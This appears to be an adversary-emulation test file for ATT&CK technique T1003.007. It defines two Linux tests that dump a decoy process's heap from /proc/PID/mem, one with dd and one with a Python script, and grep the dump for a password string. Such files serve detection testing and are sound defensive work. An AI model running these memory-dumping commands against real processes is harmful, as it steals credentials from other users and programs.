---
attack_technique: T1003.007
display_name: 'OS Credential Dumping: Proc Filesystem'
atomic_tests:
- name: Dump individual process memory with sh (Local)
  auto_generated_guid: 7e91138a-8e74-456d-a007-973d67a0bb80
  description: |
    Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
    copy process memory to an external file so it can be searched or exfiltrated later.

  supported_platforms:
    - linux

  input_arguments:
    output_file:
      description: Path where captured results will be placed
      type: Path
      default: /tmp/T1003.007.bin
    script_path:
      description: Path to script generating the target process
      type: Path
      default: /tmp/T1003.007.sh
    pid_term:
      description: Unique string to use to identify target process
      type: String
      default: T1003.007

  dependencies:
    - description: |
        Script to launch target process must exist
      prereq_command: |
        test -f #{script_path}
        grep "#{pid_term}" #{script_path}
      get_prereq_command: |
        echo '#!/bin/sh' > #{script_path}
        echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}

  executor:
    name: sh
    elevation_required: true
    command: |
      sh #{script_path}
      PID=$(pgrep -n -f "#{pid_term}")
      HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
      MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
      MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
      MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
      dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
      grep -i "PASS" "#{output_file}"
    cleanup_command: |
      rm -f "#{output_file}"

- name: Dump individual process memory with Python (Local)
  auto_generated_guid: 437b2003-a20d-4ed8-834c-4964f24eec63
  description: |
    Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to
    copy a process's heap memory to an external file so it can be searched or exfiltrated later.

  supported_platforms:
    - linux

  input_arguments:
    output_file:
      description: Path where captured results will be placed
      type: Path
      default: /tmp/T1003.007.bin
    script_path:
      description: Path to script generating the target process
      type: Path
      default: /tmp/T1003.007.sh
    python_script:
      description: Path to script generating the target process
      type: Path
      default: PathToAtomicsFolder/T1003.007/src/dump_heap.py
    pid_term:
      description: Unique string to use to identify target process
      type: String
      default: T1003.007

  dependencies:
    - description: |
        Script to launch target process must exist
      prereq_command: |
        test -f #{script_path}
        grep "#{pid_term}" #{script_path}
      get_prereq_command: |
        echo '#!/bin/sh' > #{script_path}
        echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
    - description: |
        Requires Python
      prereq_command: |
        (which python || which python3 || which python2)
      get_prereq_command: |
        echo "Python 2.7+ or 3.4+ must be installed"

  executor:
    name: sh
    elevation_required: true
    command: |
      sh #{script_path}
      PID=$(pgrep -n -f "#{pid_term}")
      PYTHON=$(which python || which python3 || which python2)
      $PYTHON #{python_script} $PID #{output_file}
      grep -i "PASS" "#{output_file}"
    cleanup_command: |
      rm -f "#{output_file}"
